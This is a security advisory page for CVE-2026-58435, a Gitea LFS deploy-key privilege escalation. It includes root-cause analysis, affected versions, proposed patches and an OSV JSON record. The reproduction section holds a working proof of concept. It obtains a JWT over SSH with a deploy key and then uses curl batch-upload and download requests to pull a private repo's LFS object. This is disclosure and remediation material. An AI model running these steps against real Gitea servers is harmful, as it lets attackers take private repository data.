CVE-2026-58435: Code.gitea.io/gitea Gitea LFS Deploy-Key Privilege Escalation Vulnerability

MODERATE
Advisory Identifier: GHSA-rh79-75qm-gwjr
CVSS 5.4
CWE-266 CWE-639
Published
Advisory Summary

CVE-2026-58435 is a MODERATE (CVSS 5.4) gitea lfs deploy-key privilege escalation vulnerability (CWE-266: Incorrect Privilege Assignment) affecting Code.gitea.io/gitea libraries in the Go ecosystem. The issue involves gitea lfs deploy-key privilege escalation. Remediation is available by upgrading affected packages to version 1.27.0.

CVE-2026-58435 at a Glance

CVE Identifier CVE-2026-58435
GHSA Identifier GHSA-rh79-75qm-gwjr
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-266: Incorrect Privilege Assignment
Affected Product Code.gitea.io/gitea
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-58435

To remediate this vulnerability, upgrade all affected Code.gitea.io/gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.gitea.io/gitea fixed: 1.27.0
Upgrade code.gitea.io/gitea to 1.27.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.gitea.io/gitea

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-58435, inspect your project dependencies for Code.gitea.io/gitea:

inspect dependencies for code.gitea.io/gitea

Analyze the terminal output to locate any version of Code.gitea.io/gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.27.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-266: Incorrect Privilege Assignment, where a product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor. In Code.gitea.io/gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Vulnerability Header | Field | Value | | ------------------- | ----------------------------------------------------------- | | Vulnerability Title | Gitea LFS Deploy-Key Privilege Escalation | | Severity Rating | High | | Bug Category | Insufficient Authorization | | Location | `services/lfs/server.go:268`, `routers/private/serv.go:275` | | Affected Versions | 1.25.5 | ## Executive Summary Gitea's LFS server (`services/lfs/server.go:268`) uses the `UserID` embedded in an LFS JWT to make cross-repository authorization decisions via `LFSObjectAccessible()`. This would be safe if the JWT `UserID` always matched the actual requesting principal — but for deploy keys, `routers/private/serv.go:275` sets `UserID = repo.OwnerID` instead of any identity representing the deploy key itself. As a result, an attacker who holds a write deploy key for any single repo owned by a victim can obtain a legitimate JWT (via the standard SSH `git-lfs-authenticate` flow) that Gitea will honor as if the victim themselves were making the request. The attacker can then exfiltrate LFS objects from any private repo the victim owns — no admin credentials, no server secrets, no brute force required. If the victim is a site administrator, every LFS object on the entire Gitea instance is reachable. Deploy keys exist precisely to grant narrow, single-repo access to CI/CD systems; this vulnerability defeats that isolation entirely for LFS data. ## Root Cause Analysis ### Technical Description The vulnerability is a **trust-boundary confusion** across two independent subsystems. When a deploy key authenticates over SSH, `serv.go` sets `UserID = repo.OwnerID` because the code has no better representation for a deploy key identity (a `FIXME` comment acknowledges this). That `UserID` is baked verbatim into the LFS JWT by `cmd/serv.go`. The JWT is then consumed by `server.go`, which treats `claims.UserID` as the authenticated principal and loads that user object as `ctx.Doer`. When the batch upload handler encounters an object that exists on disk but isn't yet linked to the target repo, it calls `LFSObjectAccessible(ctx, ctx.Doer, oid)` — a global query across all repos the claimed user can see — to decide whether to silently create the cross-repo link. The JWT's `RepoID` claim is verified (so the request is correctly scoped to one repo at the HTTP level), but the `UserID` driving the cross-repo access decision is the repo *owner*, not the deploy key. The attacker ends up holding a valid, server-signed token that impersonates the victim for any LFS authorization check. ### First Faulty Condition The primary bug — where the JWT `UserID` is set incorrectly — is in `serv.go`: | File | `routers/private/serv.go` | | --------- | ------------------------------------------------------------------------------------------------- | | Line | 275 | | Condition | Deploy key branch sets `results.UserID = repo.OwnerID`; the owner's UID is embedded in the JWT and later used as the authenticated principal for cross-repo privilege decisions in `server.go:268` | ```go // routers/private/serv.go:252–278 if key.Type == asymkey_model.KeyTypeDeploy { ... // FIXME: Deploy keys aren't really the owner of the repo pushing changes // however we don't have good way of representing deploy keys in hook.go // so for now use the owner of the repository results.UserName = results.OwnerName results.UserID = repo.OwnerID // ← OWNER's UID, not the deploy key ... } ``` The secondary bug — where the tainted `UserID` is actually misused — is in `server.go`: | File | `services/lfs/server.go` | | --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Line | 268 | | Condition | `LFSObjectAccessible(ctx, ctx.Doer, oid)` makes a cross-repo decision using the JWT `UserID`, which for deploy keys is the repo owner, not the deploy key holder | ```go // services/lfs/server.go:267–275 if exists && meta == nil { accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid) ... if accessible { _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p) // links OID to attacker's repo ... } } ``` **Admin amplification:** if `victim.IsAdmin`, `models/git/lfs.go:226` short-circuits with a bare `COUNT(*)` over the entire `lfs_meta_object` table — no repo filter. A deploy key on any admin-owned repo reaches every LFS object on the instance. ## Exploitability Assessment ### Attack Vector & Reachability | Attack vector | Network | | --------------------------- | -------------------------------------------------------------------------------------------------- | | Authentication required | Low: attacker must hold a write deploy key's private key material for any of victim's repositories | | User interaction required | None | | Reachable in default config | No. Requires `LFS_START_SERVER = true` | | Entry point(s) | SSH `git-lfs-authenticate` command + HTTP LFS batch API | The practical exploitability of this vulnerability is constrained by a second prerequisite that is independent of the authorization bypass itself: the attacker must know the SHA-256 OID of a specific LFS object in the target repository. OIDs are 256-bit digests — not enumerable and not brute-forceable — and the LFS batch endpoint functions only as an existence oracle, not a listing mechanism. Successful exploitation therefore requires a prior information-disclosure path that exposes OIDs outside the repository boundary. Known paths include public forks that retain stale LFS pointer files in git history, former collaborators who retained object references from a prior `git pull`, and issue or pull request comments that reference pointer file contents. LFS pointer files are committed in plaintext to git history, so anyone who ever cloned or had read access to the target repo retains all OIDs permanently. The attack is effectively a **post-revocation persistence** primitive — after a collaborator loses access, they can continue downloading updated versions of LFS files they previously knew existed. ### Reproduction Steps **Environment** The issue was reproduced using `gitea/gitea:1.25.5` docker image. **Setup** (performed as victim/admin — represents normal deployment state) ```bash # 1. Victim creates a private repo and uploads an LFS object git clone http://victim:PASSWORD@localhost:3000/victim/secret-repo.git cd secret-repo git lfs track "*.bin" echo "TOP SECRET: password is hunter2" > secret.bin git add .gitattributes secret.bin && git commit -m "secret" git push && git lfs push origin main # Note the OID and size from: git lfs pointer --file=secret.bin # oid sha256:1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b # size 32 # 2. Victim creates ci-repo and registers a write deploy key # (via UI: ci-repo → Settings → Deploy Keys → Add Deploy Key → enable write access) # Attacker holds the corresponding private key (e.g. leaked from CI config) ``` **Exploit** ```bash # Step 1 — Obtain JWT via SSH using only the deploy key (no victim credentials) ssh -i ~/.ssh/deploy_key -p 2222 git@localhost \ "git-lfs-authenticate victim/ci-repo upload" # → {"header":{"Authorization":"Bearer eyJ..."},"href":"..."} # Decode payload: {"RepoID":3,"Op":"upload","UserID":4,...} # ^^^^^^^^ victim's UID — BUG JWT="eyJ..." OID="1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b" SIZE=32 # Step 2 — Confirm attacker is blocked from secret-repo directly curl -s -H "Authorization: Bearer $JWT" \ "http://localhost:3000/victim/secret-repo.git/info/lfs/objects/$OID" # → {"Message":"Unauthorized"} — correctly blocked # Step 3 — Batch upload to ci-repo claiming the secret OID curl -s -X POST \ -H "Authorization: Bearer $JWT" \ -H "Accept: application/vnd.git-lfs+json" \ -H "Content-Type: application/vnd.git-lfs+json" \ "http://localhost:3000/victim/ci-repo.git/info/lfs/objects/batch" \ -d "{\"operation\":\"upload\",\"transfers\":[\"basic\"],\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}" # → {"objects":[{"oid":"1d4fed...","size":32}]} — NO "actions" field # server silently linked the OID to ci-repo without demanding proof of possession # Step 4 — Download the secret via ci-repo curl -s -H "Authorization: Bearer $JWT" \ "http://localhost:3000/victim/ci-repo.git/info/lfs/objects/$OID" # → TOP SECRET: password is hunter2 ``` **Expected output** ``` Step 2: {"Message":"Unauthorized"} ← blocked from secret-repo Step 3: {"objects":[{"oid":"1d4fed...","size":32}]} ← no actions = silently linked Step 4: TOP SECRET: password is hunter2 ← exfiltrated via ci-repo ``` **PoC files** - [poc.sh](https://github.com/user-attachments/files/28830752/poc.sh) — end-to-end PoC using real SSH deploy key ## Recommended Fix A proper fix might require significant architecture change. A short term recommendation is presented below: **Fix 1 — `services/lfs/server.go:267` (defense in depth, immediately effective)** Remove the `LFSObjectAccessible` cross-repo shortcut. Require proof of possession (the normal upload flow) for any object not already linked to the target repo. The JWT is correctly scoped to one `RepoID`; authorization decisions about *other* repos should not be made using the JWT `UserID`. ```go // BEFORE (vulnerable): if exists && meta == nil { accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid) if err != nil { log.Error("Unable to check if LFS MetaObject [%s] is accessible: %v", p.Oid, err) writeStatus(ctx, http.StatusInternalServerError) return } if accessible { _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p) if err != nil { log.Error("Unable to create LFS MetaObject [%s] for %s/%s. Error: %v", p.Oid, rc.User, rc.Repo, err) writeStatus(ctx, http.StatusInternalServerError) return } } else { exists = false } } ``` ```go // After (safe): if exists && meta == nil { // Do not use ctx.Doer for cross-repo decisions — the JWT only authorizes // access to this repo. Always require proof-of-possession for objects // not already linked here. exists = false } ``` The client will re-upload the bytes (which are hash-verified). Performance cost: one redundant upload per cross-repo object. Security gain: the cross-repo trust boundary is enforced regardless of how the JWT was issued. Full patch: [fix1.patch](https://github.com/user-attachments/files/28830753/fix1.patch) **Fix 2 — `routers/private/serv.go:275` (fix the source)** Stop embedding `repo.OwnerID` in the JWT for deploy keys. Options: - Add a `DeployKeyID` field to the JWT `Claims` struct; teach `handleLFSToken` to construct a minimal synthetic principal with exactly the deploy key's permissions (single-repo, mode-limited). - Or mint a separate JWT type for deploy keys that `server.go` treats as repo-scoped only, refusing to use it for cross-repo operations. Patch provenance: AI-generated + Human-reviewed ## Attribution This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research. For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research.

CVE-2026-58435 Affected Code.gitea.io/gitea Versions

1 component(s)
Fixed Versions:
1.27.0
Product / Package Ecosystem Affected Versions Fixed Version
code.gitea.io/gitea
Go
< 1.27.0
1.27.0

References

Frequently Asked Questions

What is CVE-2026-58435?
CVE-2026-58435 is a security vulnerability in Code.gitea.io/gitea involving Gitea LFS Deploy-Key Privilege Escalation under CWE-266: Incorrect Privilege Assignment.
Which Code.gitea.io/gitea versions are affected?
Affected versions include releases prior to 1.27.0 across affected packages: code.gitea.io/gitea.
What version fixes CVE-2026-58435?
Upgrading to 1.27.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.gitea.io/gitea affected?
Yes, code.gitea.io/gitea is affected in releases prior to 1.27.0. Upgrade your dependency to 1.27.0 or later.
What is the CVSS score of CVE-2026-58435?
CVE-2026-58435 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2026-58435?
CVE-2026-58435 is classified under CWE-266: Incorrect Privilege Assignment (A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.).
How can I check Go dependencies for CVE-2026-58435?
Run the dependency tree command: 'inspect dependencies for code.gitea.io/gitea'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rh79-75qm-gwjr",
  "modified" : "2026-07-21T21:00:51Z",
  "published" : "2026-07-21T21:00:51Z",
  "aliases" : [ "CVE-2026-58435" ],
  "summary" : "Gitea LFS Deploy-Key Privilege Escalation",
  "details" : "## Vulnerability Header\n\n| Field               | Value                                                       |\n| ------------------- | ----------------------------------------------------------- |\n| Vulnerability Title | Gitea LFS Deploy-Key Privilege Escalation                   |\n| Severity Rating     | High                                                        |\n| Bug Category        | Insufficient Authorization                                  |\n| Location            | `services/lfs/server.go:268`, `routers/private/serv.go:275` |\n| Affected Versions   | 1.25.5                                                      |\n\n## Executive Summary\n\nGitea's LFS server (`services/lfs/server.go:268`) uses the `UserID` embedded in an LFS JWT to make cross-repository authorization decisions via `LFSObjectAccessible()`. This would be safe if the JWT `UserID` always matched the actual requesting principal — but for deploy keys, `routers/private/serv.go:275` sets `UserID = repo.OwnerID` instead of any identity representing the deploy key itself. As a result, an attacker who holds a write deploy key for any single repo owned by a victim can obtain a legitimate JWT (via the standard SSH `git-lfs-authenticate` flow) that Gitea will honor as if the victim themselves were making the request. The attacker can then exfiltrate LFS objects from any private repo the victim owns — no admin credentials, no server secrets, no brute force required. If the victim is a site administrator, every LFS object on the entire Gitea instance is reachable. Deploy keys exist precisely to grant narrow, single-repo access to CI/CD systems; this vulnerability defeats that isolation entirely for LFS data.\n\n## Root Cause Analysis\n\n### Technical Description\n\nThe vulnerability is a **trust-boundary confusion** across two independent subsystems. When a deploy key authenticates over SSH, `serv.go` sets `UserID = repo.OwnerID` because the code has no better representation for a deploy key identity (a `FIXME` comment acknowledges this). That `UserID` is baked verbatim into the LFS JWT by `cmd/serv.go`. The JWT is then consumed by `server.go`, which treats `claims.UserID` as the authenticated principal and loads that user object as `ctx.Doer`. When the batch upload handler encounters an object that exists on disk but isn't yet linked to the target repo, it calls `LFSObjectAccessible(ctx, ctx.Doer, oid)` — a global query across all repos the claimed user can see — to decide whether to silently create the cross-repo link. The JWT's `RepoID` claim is verified (so the request is correctly scoped to one repo at the HTTP level), but the `UserID` driving the cross-repo access decision is the repo *owner*, not the deploy key. The attacker ends up holding a valid, server-signed token that impersonates the victim for any LFS authorization check.\n\n### First Faulty Condition\n\nThe primary bug — where the JWT `UserID` is set incorrectly — is in `serv.go`:\n\n| File      | `routers/private/serv.go`                                                                         |\n| --------- | ------------------------------------------------------------------------------------------------- |\n| Line      | 275                                                                                               |\n| Condition | Deploy key branch sets `results.UserID = repo.OwnerID`; the owner's UID is embedded in the JWT and later used as the authenticated principal for cross-repo privilege decisions in `server.go:268` |\n\n```go\n// routers/private/serv.go:252–278\nif key.Type == asymkey_model.KeyTypeDeploy {\n    ...\n    // FIXME: Deploy keys aren't really the owner of the repo pushing changes\n    // however we don't have good way of representing deploy keys in hook.go\n    // so for now use the owner of the repository\n    results.UserName = results.OwnerName\n    results.UserID = repo.OwnerID    // ← OWNER's UID, not the deploy key\n    ...\n}\n```\n\nThe secondary bug — where the tainted `UserID` is actually misused — is in `server.go`:\n\n| File      | `services/lfs/server.go`                                                                                                                                         |\n| --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| Line      | 268                                                                                                                                                              |\n| Condition | `LFSObjectAccessible(ctx, ctx.Doer, oid)` makes a cross-repo decision using the JWT `UserID`, which for deploy keys is the repo owner, not the deploy key holder |\n\n```go\n// services/lfs/server.go:267–275\nif exists && meta == nil {\n    accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)\n    ...\n    if accessible {\n        _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)  // links OID to attacker's repo\n        ...\n    }\n}\n```\n\n**Admin amplification:** if `victim.IsAdmin`, `models/git/lfs.go:226` short-circuits with a bare `COUNT(*)` over the entire `lfs_meta_object` table — no repo filter. A deploy key on any admin-owned repo reaches every LFS object on the instance.\n\n## Exploitability Assessment\n\n### Attack Vector & Reachability\n\n| Attack vector               | Network                                                                                            |\n| --------------------------- | -------------------------------------------------------------------------------------------------- |\n| Authentication required     | Low: attacker must hold a write deploy key's private key material for any of victim's repositories |\n| User interaction required   | None                                                                                               |\n| Reachable in default config | No. Requires `LFS_START_SERVER = true`                                                             |\n| Entry point(s)              | SSH `git-lfs-authenticate` command + HTTP LFS batch API                                            |\n\nThe practical exploitability of this vulnerability is constrained by a second prerequisite that is independent of the authorization bypass itself: the attacker must know the SHA-256 OID of a specific LFS object in the target repository. OIDs are 256-bit digests — not enumerable and not brute-forceable — and the LFS batch endpoint functions only as an existence oracle, not a listing mechanism. Successful exploitation therefore requires a prior information-disclosure path that exposes OIDs outside the repository boundary. Known paths include public forks that retain stale LFS pointer files in git history, former collaborators who retained object references from a prior `git pull`, and issue or pull request comments that reference pointer file contents. \n\nLFS pointer files are committed in plaintext to git history, so anyone who ever cloned or had read access to the target repo retains all OIDs permanently. The attack is effectively a **post-revocation persistence** primitive — after a collaborator loses access, they can continue downloading updated versions of LFS files they previously knew existed.\n### Reproduction Steps\n\n**Environment**\n\nThe issue was reproduced using `gitea/gitea:1.25.5` docker image. \n\n**Setup** (performed as victim/admin — represents normal deployment state)\n\n```bash\n# 1. Victim creates a private repo and uploads an LFS object\ngit clone http://victim:PASSWORD@localhost:3000/victim/secret-repo.git\ncd secret-repo\ngit lfs track \"*.bin\"\necho \"TOP SECRET: password is hunter2\" > secret.bin\ngit add .gitattributes secret.bin && git commit -m \"secret\"\ngit push && git lfs push origin main\n\n# Note the OID and size from:\ngit lfs pointer --file=secret.bin\n# oid sha256:1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b\n# size 32\n\n# 2. Victim creates ci-repo and registers a write deploy key\n#    (via UI: ci-repo → Settings → Deploy Keys → Add Deploy Key → enable write access)\n#    Attacker holds the corresponding private key (e.g. leaked from CI config)\n```\n\n**Exploit**\n\n```bash\n# Step 1 — Obtain JWT via SSH using only the deploy key (no victim credentials)\nssh -i ~/.ssh/deploy_key -p 2222 git@localhost \\\n  \"git-lfs-authenticate victim/ci-repo upload\"\n# → {\"header\":{\"Authorization\":\"Bearer eyJ...\"},\"href\":\"...\"}\n# Decode payload: {\"RepoID\":3,\"Op\":\"upload\",\"UserID\":4,...}\n#                                              ^^^^^^^^ victim's UID — BUG\n\nJWT=\"eyJ...\"\nOID=\"1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b\"\nSIZE=32\n\n# Step 2 — Confirm attacker is blocked from secret-repo directly\ncurl -s -H \"Authorization: Bearer $JWT\" \\\n  \"http://localhost:3000/victim/secret-repo.git/info/lfs/objects/$OID\"\n# → {\"Message\":\"Unauthorized\"}  — correctly blocked\n\n# Step 3 — Batch upload to ci-repo claiming the secret OID\ncurl -s -X POST \\\n  -H \"Authorization: Bearer $JWT\" \\\n  -H \"Accept: application/vnd.git-lfs+json\" \\\n  -H \"Content-Type: application/vnd.git-lfs+json\" \\\n  \"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/batch\" \\\n  -d \"{\\\"operation\\\":\\\"upload\\\",\\\"transfers\\\":[\\\"basic\\\"],\\\"objects\\\":[{\\\"oid\\\":\\\"$OID\\\",\\\"size\\\":$SIZE}]}\"\n# → {\"objects\":[{\"oid\":\"1d4fed...\",\"size\":32}]}  — NO \"actions\" field\n#   server silently linked the OID to ci-repo without demanding proof of possession\n\n# Step 4 — Download the secret via ci-repo\ncurl -s -H \"Authorization: Bearer $JWT\" \\\n  \"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/$OID\"\n# → TOP SECRET: password is hunter2\n```\n\n**Expected output**\n\n```\nStep 2:  {\"Message\":\"Unauthorized\"}          ← blocked from secret-repo\nStep 3:  {\"objects\":[{\"oid\":\"1d4fed...\",\"size\":32}]}  ← no actions = silently linked\nStep 4:  TOP SECRET: password is hunter2     ← exfiltrated via ci-repo\n```\n\n**PoC files**\n\n- [poc.sh](https://github.com/user-attachments/files/28830752/poc.sh) — end-to-end PoC using real SSH deploy key\n\n## Recommended Fix\n\nA proper fix might require significant architecture change. A short term recommendation is presented below:\n\n**Fix 1 — `services/lfs/server.go:267` (defense in depth, immediately effective)**\n\nRemove the `LFSObjectAccessible` cross-repo shortcut. Require proof of possession (the normal upload flow) for any object not already linked to the target repo. The JWT is correctly scoped to one `RepoID`; authorization decisions about *other* repos should not be made using the JWT `UserID`.\n```go\n// BEFORE (vulnerable):\nif exists && meta == nil {\n    accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)\n    if err != nil {\n        log.Error(\"Unable to check if LFS MetaObject [%s] is accessible: %v\", p.Oid, err)\n        writeStatus(ctx, http.StatusInternalServerError)\n        return\n    }\n    if accessible {\n        _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)\n        if err != nil {\n            log.Error(\"Unable to create LFS MetaObject [%s] for %s/%s. Error: %v\", p.Oid, rc.User, rc.Repo, err)\n            writeStatus(ctx, http.StatusInternalServerError)\n            return\n        }\n    } else {\n        exists = false\n    }\n}\n```\n\n```go\n// After (safe):\nif exists && meta == nil {\n    // Do not use ctx.Doer for cross-repo decisions — the JWT only authorizes\n    // access to this repo. Always require proof-of-possession for objects\n    // not already linked here.\n    exists = false\n}\n```\n\nThe client will re-upload the bytes (which are hash-verified). \nPerformance cost: one redundant upload per cross-repo object. Security gain: the cross-repo trust boundary is enforced regardless of how the JWT was issued.\n\nFull patch: [fix1.patch](https://github.com/user-attachments/files/28830753/fix1.patch)\n\n**Fix 2 — `routers/private/serv.go:275` (fix the source)**\n\nStop embedding `repo.OwnerID` in the JWT for deploy keys. Options:\n- Add a `DeployKeyID` field to the JWT `Claims` struct; teach `handleLFSToken` to construct a minimal synthetic principal with exactly the deploy key's permissions (single-repo, mode-limited).\n- Or mint a separate JWT type for deploy keys that `server.go` treats as repo-scoped only, refusing to use it for cross-repo operations.\n\nPatch provenance: AI-generated + Human-reviewed\n\n## Attribution\n\nThis vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.\n\nFor CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.gitea.io/gitea"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.27.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-rh79-75qm-gwjr"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-gitea/gitea"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-266", "CWE-639" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-21T21:00:51Z",
    "nvd_published_at" : null
  }
}